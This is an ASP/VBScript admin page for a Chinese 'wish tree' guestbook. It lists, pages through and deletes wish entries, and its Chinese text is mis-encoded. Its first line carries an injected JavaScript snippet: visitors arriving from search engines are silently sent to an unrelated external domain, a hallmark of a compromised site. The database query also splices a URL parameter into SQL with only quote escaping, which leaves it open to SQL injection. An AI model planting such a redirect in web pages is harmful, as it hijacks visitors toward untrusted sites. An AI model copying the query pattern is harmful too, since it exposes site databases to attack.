001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%@LANGUAGE="VBSCRIPT"%>
002: <% 003: ' *** Logout the current user. 004: MM_Logout = CStr(Request.ServerVariables("URL")) & "?MM_Logoutnow=1"
005: If (CStr(Request("MM_Logoutnow")) = "1") Then
006: Session.Abandon
007: MM_logoutRedirectPage = "default.asp"
008: ' redirect with URL parameters (remove the "MM_Logoutnow" query param). 009: if (MM_logoutRedirectPage = "") Then MM_logoutRedirectPage = CStr(Request.ServerVariables("URL"))
010: If (InStr(1, UC_redirectPage, "?", vbTextCompare) = 0 And Request.QueryString <> "") Then
011: MM_newQS = "?"
012: For Each Item In Request.QueryString
013: If (Item <> "MM_Logoutnow") Then
014: If (Len(MM_newQS) > 1) Then MM_newQS = MM_newQS & "&"
015: MM_newQS = MM_newQS & Item & "=" & Server.URLencode(Request.QueryString(Item))
016: End If
017: Next
018: if (Len(MM_newQS) > 1) Then MM_logoutRedirectPage = MM_logoutRedirectPage & MM_newQS
019: End If
020: Response.Redirect(MM_logoutRedirectPage)
021: End If
022: %>
023: <!--#include file="Connections/conn.asp" --> 024: <% 025: ' *** Restrict Access To Page: Grant or deny access to this page 026: MM_authorizedUsers=""
027: MM_authFailedURL="default.asp"
028: MM_grantAccess=false
029: If Session("MM_Username") <> "" Then
030: If (true Or CStr(Session("MM_UserAuthorization"))="") Or _
031: (InStr(1,MM_authorizedUsers,Session("MM_UserAuthorization"))>=1) Then
032: MM_grantAccess = true
033: End If
034: End If
035: If Not MM_grantAccess Then
036: MM_qsChar = "?"
037: If (InStr(1,MM_authFailedURL,"?") >= 1) Then MM_qsChar = "&"
038: MM_referrer = Request.ServerVariables("URL")
039: if (Len(Request.QueryString()) > 0) Then MM_referrer = MM_referrer & "?" & Request.QueryString()
040: MM_authFailedURL = MM_authFailedURL & MM_qsChar & "accessdenied=" & Server.URLEncode(MM_referrer)
041: Response.Redirect(MM_authFailedURL)
042: End If
043: %>
044: <% 045: Dim rs__MMColParam
046: rs__MMColParam = "1"
047: if (Request.QueryString("xyid") <> "") then rs__MMColParam = Request.QueryString("xyid")
048: %>
049: <% 050: set rs = Server.CreateObject("ADODB.Recordset")
051: rs.ActiveConnection = MM_conn_STRING
052: rs.Source = "SELECT id, xyname, ggormm, xyid FROM xybook WHERE xyid = " + Replace(rs__MMColParam, "'", "''") + " ORDER BY xydate DESC"
053: rs.CursorType = 0
054: rs.CursorLocation = 2
055: rs.LockType = 3
056: rs.Open()
057: rs_numRows = 0
058: %>
059: <% 060: set rs1 = Server.CreateObject("ADODB.Recordset")
061: rs1.ActiveConnection = MM_conn_STRING
062: rs1.Source = "SELECT * FROM class"
063: rs1.CursorType = 0
064: rs1.CursorLocation = 2
065: rs1.LockType = 3
066: rs1.Open()
067: rs1_numRows = 0
068: %>
069: <% 070: Dim HLooper1__numRows
071: HLooper1__numRows = 16
072: Dim HLooper1__index
073: HLooper1__index = 0
074: rs_numRows = rs_numRows + HLooper1__numRows
075: %>
076: <% 077: Dim HLooper2__numRows
078: HLooper2__numRows = -6
079: Dim HLooper2__index
080: HLooper2__index = 0
081: rs1_numRows = rs1_numRows + HLooper2__numRows
082: %>
083: <% 084: ' *** Go To Record and Move To Record: create strings for maintaining URL and Form parameters 085:
086: ' create the list of parameters which should not be maintained 087: MM_removeList = "&index="
088: If (MM_paramName <> "") Then MM_removeList = MM_removeList & "&" & MM_paramName & "="
089: MM_keepURL="":MM_keepForm="":MM_keepBoth="":MM_keepNone=""
090:
091: ' add the URL parameters to the MM_keepURL string 092: For Each Item In Request.QueryString
093: NextItem = "&" & Item & "="
094: If (InStr(1,MM_removeList,NextItem,1) = 0) Then
095: MM_keepURL = MM_keepURL & NextItem & Server.URLencode(Request.QueryString(Item))
096: End If
097: Next
098:
099: ' add the Form variables to the MM_keepForm string 100: For Each Item In Request.Form
101: NextItem = "&" & Item & "="
102: If (InStr(1,MM_removeList,NextItem,1) = 0) Then
103: MM_keepForm = MM_keepForm & NextItem & Server.URLencode(Request.Form(Item))
104: End If
105: Next
106:
107: ' create the Form + URL string and remove the intial '&' from each of the strings 108: MM_keepBoth = MM_keepURL & MM_keepForm
109: if (MM_keepBoth <> "") Then MM_keepBoth = Right(MM_keepBoth, Len(MM_keepBoth) - 1)
110: if (MM_keepURL <> "") Then MM_keepURL = Right(MM_keepURL, Len(MM_keepURL) - 1)
111: if (MM_keepForm <> "") Then MM_keepForm = Right(MM_keepForm, Len(MM_keepForm) - 1)
112:
113: ' a utility function used for adding additional parameters to these strings 114: Function MM_joinChar(firstItem)
115: If (firstItem <> "") Then
116: MM_joinChar = "&"
117: Else
118: MM_joinChar = ""
119: End If
120: End Function
121: %>
122: <% 123: ' *** СÌ﹤×÷ÊÒUD²å¼þϵÁÐ Limit Pages List v1.0.0 (¸Ä±à×ÔPagesList) 124:
125: ' set the record count 126: rs_total = rs.RecordCount
127:
128: ' set the number of rows displayed on this page 129: If (rs_numRows < 0) Then
130: rs_numRows = rs_total
131: Elseif (rs_numRows = 0) Then
132: rs_numRows = 1
133: End If
134:
135: ' set the first and last displayed record 136: rs_first = 1
137: rs_last = rs_first + rs_numRows - 1
138:
139: ' if we have the correct record count, check the other stats 140: If (rs_total <> -1) Then
141: If (rs_first > rs_total) Then rs_first = rs_total
142: If (rs_last > rs_total) Then rs_last = rs_total
143: If (rs_numRows > rs_total) Then rs_numRows = rs_total
144: End If
145: %>
146: <% 147: ' *** Recordset Stats: if we don't know the record count, manually count them 148:
149: If (rs_total = -1) Then
150:
151: ' count the total records by iterating through the recordset 152: rs_total=0
153: While (Not rs.EOF)
154: rs_total = rs_total + 1
155: rs.MoveNext
156: Wend
157:
158: ' reset the cursor to the beginning 159: If (rs.CursorType > 0) Then
160: rs.MoveFirst
161: Else
162: rs.Requery
163: End If
164:
165: ' set the number of rows displayed on this page 166: If (rs_numRows < 0 Or rs_numRows > rs_total) Then
167: rs_numRows = rs_total
168: End If
169:
170: ' set the first and last displayed record 171: rs_first = 1
172: rs_last = rs_first + rs_numRows - 1
173: If (rs_first > rs_total) Then rs_first = rs_total
174: If (rs_last > rs_total) Then rs_last = rs_total
175:
176: End If
177: %>
178: <% 179: ' *** Move To Record and Go To Record: declare variables 180:
181: Set MM_rs = rs
182: MM_rsCount = rs_total
183: MM_size = rs_numRows
184: MM_uniqueCol = ""
185: MM_paramName = ""
186: MM_offset = 0
187: MM_atTotal = false
188: MM_paramIsDefined = false
189: If (MM_paramName <> "") Then
190: MM_paramIsDefined = (Request.QueryString(MM_paramName) <> "")
191: End If
192: %>
193: <% 194: ' *** Move To Record: handle 'index' or 'offset' parameter 195:
196: if (Not MM_paramIsDefined And MM_rsCount <> 0) then
197:
198: ' use index parameter if defined, otherwise use offset parameter 199: r = Request.QueryString("index")
200: If r = "" Then r = Request.QueryString("offset")
201: If r <> "" Then MM_offset = Int(r)
202:
203: ' if we have a record count, check if we are past the end of the recordset 204: If (MM_rsCount <> -1) Then
205: If (MM_offset >= MM_rsCount Or MM_offset = -1) Then ' past end or move last
206: If ((MM_rsCount Mod MM_size) > 0) Then ' last page not a full repeat region
207: MM_offset = MM_rsCount - (MM_rsCount Mod MM_size)
208: Else
209: MM_offset = MM_rsCount - MM_size
210: End If
211: End If
212: End If
213:
214: ' move the cursor to the selected record 215: i = 0
216: While ((Not MM_rs.EOF) And (i < MM_offset Or MM_offset = -1))
217: MM_rs.MoveNext
218: i = i + 1
219: Wend
220: If (MM_rs.EOF) Then MM_offset = i ' set MM_offset to the last possible record
221:
222: End If
223: %>
224: <% 225: ' *** Move To Record: if we dont know the record count, check the display range 226:
227: If (MM_rsCount = -1) Then
228:
229: ' walk to the end of the display range for this page 230: i = MM_offset
231: While (Not MM_rs.EOF And (MM_size < 0 Or i < MM_offset + MM_size))
232: MM_rs.MoveNext
233: i = i + 1
234: Wend
235:
236: ' if we walked off the end of the recordset, set MM_rsCount and MM_size 237: If (MM_rs.EOF) Then
238: MM_rsCount = i
239: If (MM_size < 0 Or MM_size > MM_rsCount) Then MM_size = MM_rsCount
240: End If
241:
242: ' if we walked off the end, set the offset based on page size 243: If (MM_rs.EOF And Not MM_paramIsDefined) Then
244: If (MM_offset > MM_rsCount - MM_size Or MM_offset = -1) Then
245: If ((MM_rsCount Mod MM_size) > 0) Then
246: MM_offset = MM_rsCount - (MM_rsCount Mod MM_size)
247: Else
248: MM_offset = MM_rsCount - MM_size
249: End If
250: End If
251: End If
252:
253: ' reset the cursor to the beginning 254: If (MM_rs.CursorType > 0) Then
255: MM_rs.MoveFirst
256: Else
257: MM_rs.Requery
258: End If
259:
260: ' move the cursor to the selected record 261: i = 0
262: While (Not MM_rs.EOF And i < MM_offset)
263: MM_rs.MoveNext
264: i = i + 1
265: Wend
266: End If
267: %>
268: <% 269: ' *** Move To Record: update recordset stats 270:
271: ' set the first and last displayed record 272: rs_first = MM_offset + 1
273: rs_last = MM_offset + MM_size
274: If (MM_rsCount <> -1) Then
275: If (rs_first > MM_rsCount) Then rs_first = MM_rsCount
276: If (rs_last > MM_rsCount) Then rs_last = MM_rsCount
277: End If
278:
279: ' set the boolean used by hide region to check if we are on the last record 280: MM_atTotal = (MM_rsCount <> -1 And MM_offset + MM_size >= MM_rsCount)
281: %>
282: <% 283: ' *** Go To Record and Move To Record: create strings for maintaining URL and Form parameters 284:
285: ' create the list of parameters which should not be maintained 286: MM_removeList = "&index=&god="
287: If (MM_paramName <> "") Then MM_removeList = MM_removeList & "&" & MM_paramName & "="
288: MM_keepURL="":MM_keepForm="":MM_keepBoth="":MM_keepNone=""
289:
290: ' add the URL parameters to the MM_keepURL string 291: For Each Item In Request.QueryString
292: NextItem = "&" & Item & "="
293: If (InStr(1,MM_removeList,NextItem,1) = 0) Then
294: MM_keepURL = MM_keepURL & NextItem & Server.URLencode(Request.QueryString(Item))
295: End If
296: Next
297:
298: ' add the Form variables to the MM_keepForm string 299: For Each Item In Request.Form
300: NextItem = "&" & Item & "="
301: If (InStr(1,MM_removeList,NextItem,1) = 0) Then
302: MM_keepForm = MM_keepForm & NextItem & Server.URLencode(Request.Form(Item))
303: End If
304: Next
305:
306: ' create the Form + URL string and remove the intial '&' from each of the strings 307: MM_keepBoth = MM_keepURL & MM_keepForm
308: if (MM_keepBoth <> "") Then MM_keepBoth = Right(MM_keepBoth, Len(MM_keepBoth) - 1)
309: if (MM_keepURL <> "") Then MM_keepURL = Right(MM_keepURL, Len(MM_keepURL) - 1)
310: if (MM_keepForm <> "") Then MM_keepForm = Right(MM_keepForm, Len(MM_keepForm) - 1)
311:
312: ' a utility function used for adding additional parameters to these strings 313: Function MM_joinChar(firstItem)
314: If (firstItem <> "") Then
315: MM_joinChar = "&"
316: Else
317: MM_joinChar = ""
318: End If
319: End Function
320: %>
321: <% 322: ' *** Move To Record: set the strings for the first, last, next, and previous links 323:
324: MM_keepMove = MM_keepBoth
325: MM_moveParam = "index"
326:
327: ' if the page has a repeated region, remove 'offset' from the maintained parameters 328: If (MM_size > 0) Then
329: MM_moveParam = "offset"
330: If (MM_keepMove <> "") Then
331: params = Split(MM_keepMove, "&")
332: MM_keepMove = ""
333: For i = 0 To UBound(params)
334: nextItem = Left(params(i), InStr(params(i),"=") - 1)
335: If (StrComp(nextItem,MM_moveParam,1) <> 0) Then
336: MM_keepMove = MM_keepMove & "&" & params(i)
337: End If
338: Next
339: If (MM_keepMove <> "") Then
340: MM_keepMove = Right(MM_keepMove, Len(MM_keepMove) - 1)
341: End If
342: End If
343: End If
344:
345: ' set the strings for the move to links 346: If (MM_keepMove <> "") Then MM_keepMove = MM_keepMove & "&"
347: urlStr = Request.ServerVariables("URL") & "?" & MM_keepMove & MM_moveParam & "="
348: MM_moveFirst = urlStr & "0"
349: MM_moveLast = urlStr & "-1"
350: MM_moveNext = urlStr & Cstr(MM_offset + MM_size)
351: prev = MM_offset - MM_size
352: If (prev < 0) Then prev = 0
353: MM_movePrev = urlStr & Cstr(prev)
354: %>
355: <html>
356: <head>
357: <title>Untitled Document</title>
358: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
359: <link rel="stylesheet" href="css.css" type="text/css">
360: <script language="JavaScript">
361: <!--
362: function MM_openBrWindow(theURL,winName,features) { //v2.0
363: window.open(theURL,winName,features);
364: }
365: //--> 366: </script>
367: </head>
368: <body bgcolor="#FFFFFF" text="#000000" background="images/back.gif" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
369: <div align="center"></div>
370: <table width="52%" border="0" cellspacing="0" cellpadding="0" align="center" background="images/bg.gif" class="css">
371: <tr>
372: <td width="4%" height="12"><a href="#"><img src="images/sign1114.gif" width="20" height="17" alt="ÐíÔ¸" border="0" onClick="MM_openBrWindow('xy.asp','ÐíÔ¸Ê÷','width=300,height=410')"></a></td>
373: <td width="5%" height="12"> </td>
374: <td width="6%" height="12">
375: <div align="center"><a href="del.asp">È«²¿</a></div>
376: </td>
377: <td width="60%" height="12">
378: <table width="296" align="center">
379: <% 380: startrw = 0
381: endrw = HLooper2__index
382: numberColumns = 6
383: numrows = -1
384: while((numrows <> 0) AND (Not rs1.EOF))
385: startrw = endrw + 1
386: endrw = endrw + numberColumns
387: %>
388: <tr align="center" valign="top">
389: <% 390: While ((startrw <= endrw) AND (Not rs1.EOF))
391: %>
392: <td height="8">
393: <table width="91%" border="0" cellspacing="0" cellpadding="0" class="css">
394: <tr>
395: <td>
396: <div align="center"><img src="images/sign069.gif" width="10" height="10"><a href="delclass.asp?<%= MM_keepNone & MM_joinChar(MM_keepNone) & "xyid=" & rs1.Fields.Item("xyid").Value %>"><%=(rs1.Fields.Item("classname").Value)%></a><img src="images/sign069.gif" width="10" height="10"></div>
397: </td>
398: </tr>
399: </table>
400: </td>
401: <% 402: startrw = startrw + 1
403: rs1.MoveNext()
404: Wend
405: %>
406: </tr>
407: <% 408: numrows=numrows-1
409: Wend
410: %>
411: </table>
412: </td>
413: <td width="11%" height="12">
414: <div align="center"><a href="change.asp">ÐÞ¸ÄÃÜÂë</a></div>
415: </td>
416: <td width="14%" height="12">
417: <div align="center"><a href="<%=MM_Logout%>">Í˳öµÇ½</a>
418: </div>
419: </td>
420: </tr>
421: </table>
422: <p align="center"> </p>
423: <form name="form1" method="get" action="delok.asp">
424: <table width="50%" border="0" cellspacing="0" cellpadding="0" align="center">
425: <tr>
426: <td background="images/yy.gif" height=5></td>
427: </tr>
428: <tr>
429: <td>
430: <div align="center"></div>
431: <table align="center" width="520">
432: <% 433: startrw = 0
434: endrw = HLooper1__index
435: numberColumns = 4
436: numrows = 4
437: while((numrows <> 0) AND (Not rs.EOF))
438: startrw = endrw + 1
439: endrw = endrw + numberColumns
440: %>
441: <tr align="center" valign="top">
442: <% 443: While ((startrw <= endrw) AND (Not rs.EOF))
444: %>
445: <td>
446: <table width="5%" border="0" cellspacing="0" cellpadding="0" align="center" class="css">
447: <tr>
448: <td>
449: <% If (rs.Fields.Item("xyid").Value) = (2) Then 'script %>
450: <a href="xyxx.asp?<%= MM_keepNone & MM_joinChar(MM_keepNone) & "id=" & rs.Fields.Item("id").Value %>" target="_blank"><img src="images/aiqing.gif" width="63" height="75" border="0"></a>
451: <% End If ' end If (rs.Fields.Item("xyid").Value) = (2) script %>
452: <% If (rs.Fields.Item("xyid").Value) = (3) Then 'script %>
453: <a href="xyxx.asp?<%= MM_keepNone & MM_joinChar(MM_keepNone) & "id=" & rs.Fields.Item("id").Value %>" target="_blank"><img src="images/mengxiang.gif" width="63" height="75" border="0"></a>
454: <% End If ' end If (rs.Fields.Item("xyid").Value) = (3) script %>
455: <% If (rs.Fields.Item("xyid").Value) = (1) Then 'script %>
456: <a href="xyxx.asp?<%= MM_keepNone & MM_joinChar(MM_keepNone) & "id=" & rs.Fields.Item("id").Value %>" target="_blank"><img src="images/shiye.gif" width="63" height="75" border="0"></a>
457: <% End If ' end If (rs.Fields.Item("xyid").Value) = (1) script %>
458: <% If (rs.Fields.Item("xyid").Value) = (4) Then 'script %>
459: <a href="xyxx.asp?<%= MM_keepNone & MM_joinChar(MM_keepNone) & "id=" & rs.Fields.Item("id").Value %>" target="_blank"><img src="images/zhufu.gif" width="63" height="75" border="0"></a>
460: <% End If ' end If (rs.Fields.Item("xyid").Value) = (4) script %>
461: </td>
462: </tr>
463: <tr>
464: <td>
465: <div align="center">
466: <% If (rs.Fields.Item("ggormm").Value) = (1) Then 'script %>
467: <img src="images/gg.gif" width="27" height="27">
468: <% End If ' end If (rs.Fields.Item("ggormm").Value) = (1) script %>
469: <% If (rs.Fields.Item("ggormm").Value) = (2) Then 'script %>
470: <img src="images/mm.gif" width="27" height="27">
471: <% End If ' end If (rs.Fields.Item("ggormm").Value) = (2) script %>
472: </div>
473: </td>
474: </tr>
475: <tr>
476: <td>
477: <div align="center"><%=(rs.Fields.Item("xyname").Value)%><br>
478: <input type="checkbox" name="id" value="<%=(rs.Fields.Item("id").Value)%>">
479: </div>
480: </td>
481: </tr>
482: </table>
483: </td>
484: <% 485: startrw = startrw + 1
486: rs.MoveNext()
487: Wend
488: %>
489: </tr>
490: <% 491: numrows=numrows-1
492: Wend
493: %>
494: </table>
495: </td>
496: </tr>
497: <tr>
498: <td height="5" background="images/yy.gif"></td>
499: </tr>
500: </table>
501: <div align="center">
502: <input type="submit" name="Submit" value="ɾ³ý">
503: </div>
504: </form>
505: <p align="center" class="css"> µ±Ç°ÏÔʾµÚ<%=(rs_first)%> µ½µÚ<%=(rs_last)%> ¸öÔ¸Íû£¬Ò»¹²<%=(rs_total)%>¸öÔ¸Íû¡£<br>
506: <% 507: Forward = ">>>"
508: Backward = "<<<"
509: Delimiter = " | "
510: Rec_Name = rs_total
511: List_Num = 10
512: Godspeed = 1
513: if request.querystring("god") <> "" then
514: Godspeed = request.querystring("god")
515: end if
516: if Godspeed <> 1 then
517: Response.Write("<a href=" & Request.ServerVariables("URL") & "?" & MM_keepMove & "offset=" & Godspeed - MM_Size - 1 & "&god=" & Godspeed - MM_Size * List_Num & ">")
518: Response.Write(Backward & "</a> ")
519: end if
520: if Rec_Name < Godspeed + MM_Size * List_Num then
521: Matrix = Rec_Name
522: else
523: Matrix = Godspeed + MM_Size * (List_Num - 1)
524: end if
525: if MM_size=0 then
526: mm_size=1
527: end if
528:
529: TM_counter = ( Godspeed - 1 )/MM_Size
530: For i = Godspeed to Matrix step MM_Size
531: TM_counter = TM_counter + 1
532: if i <> MM_offset + 1 then
533: Response.Write("<a href=" & Request.ServerVariables("URL") & "?" & MM_keepMove & "offset=" & i-1 & "&god=" & Godspeed & ">")
534: Response.Write(TM_counter & "</a>")
535: else
536: Response.Write("<b>" & TM_counter & "</b>")
537: End if
538: if( i <= Matrix - MM_Size ) then Response.Write(Delimiter)
539: next
540: if Rec_Name > Godspeed + MM_Size * List_Num - 1 then
541: Response.Write(" <a href=" & Request.ServerVariables("URL") & "?" & MM_keepMove & "offset=" & Godspeed + MM_Size * List_Num - 1 & "&god=" & Godspeed + MM_Size * List_Num & ">")
542: Response.Write(Forward & "</a>")
543: end if
544: %>
545: </p>
546: <!--#include file="bottom.asp" --> 547: </body>
548: </html>
549: <% 550: rs.Close()
551: %>
552: <% 553: set rs = nothing
554: %>
555: <% 556: rs1.Close()
557: %>
558: <% 559: set rs1 = nothing
560: %>
561:
562:
563: